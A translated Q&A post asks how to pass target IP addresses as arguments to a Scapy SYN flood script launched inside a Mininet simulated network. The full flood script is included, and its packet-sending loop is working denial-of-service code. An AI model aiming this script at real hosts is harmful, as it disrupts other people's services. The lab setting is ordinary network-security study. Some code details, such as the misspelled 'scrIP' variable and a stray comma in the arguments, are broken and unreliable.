运行 命令行中的 python 脚本并向其发送参数

Run a python script in Command Line and send argument to it

我使用以下 python 脚本在 mininet 中使用 sudo Python My_topology.py :

创建自定义拓扑
from mininet.topo import Topo
from mininet.node import Node
from mininet.net import Mininet
from mininet.cli import CLI
from mininet.node import RemoteController
import os
import sys

logging.getLogger().setLevel(logging.INFO)

class MyTopo (Topo):

    def __init__(self, ipBase='10.0.0.0/8'):
        Topo.__init__(self)

        global host_list
        # Add hosts and switches
        s1 = self.addSwitch('s1')

        for i in range(1, 21):
            self.addHost('h%s'%i)
            host_list.append('h%s'%i)
            self.addLink('h%s'%i, s1)

def attack():
    h1 = net.get('h1')
    h1.cmd('sudo python .../My_SYNflood_attack.py')

topo = MyTopo()
net = Mininet(topo, controller=lambda name: RemoteController(name,
              ip= '127.0.0.1', protocol= 'tcp', port= 6633), autoSetMacs= True)
net.start()
attack()
CLI(net)
net.stop()

正如您在攻击函数中所见,我使用了另一个 .py 脚本从主机 h1 向另一台主机发送 TCP 数据包。 My_SYNflood_attack.py如下:

from scapy.all import *
import os
import sys
import random
import argparse
srcIP = '10.0.0.1'
dstIP = '10.0.0.10'
srcPort = 5555
dstPort = 4444

def randInt():
    x = random.randint(1000,9000)
    return x    

def SYN_Flood(srcIP,dstIP,dstPort,counter):
    total = 0
    print("Packets are sending ...")
    for x in range (0,counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()
        IP_Packet = IP ()
        IP_Packet.src = srcIP
        IP_Packet.dst = dstIP
        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow
        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)

def main():
    SYN_Flood(srcIP, dstIP,dstPort,10)# 10 is number of packets

if __name__ == "__main__":
    main()

正如您在第二个脚本中看到的那样,我静态设置了源和目标 IP 地址,现在我想从第一个脚本向源发送一个目标 IP 地址,并在攻击函数中调用 My_SYNflood_attack.py,如下所示:h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2 10.0.0.3') 我该怎么做?

你在找这样的东西吗?

def attack():
    h1 = net.get('h1')
    h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2, 10.0.0.3')

和:

scrIP = sys.argv[1]
dstIP = sys.argv[2]

您可以使用参数调用另一个 python 脚本:

subprocess.call(['python', '.../My_SYNflood_attack.py.py', somescript_arg1, somescript_val1,...])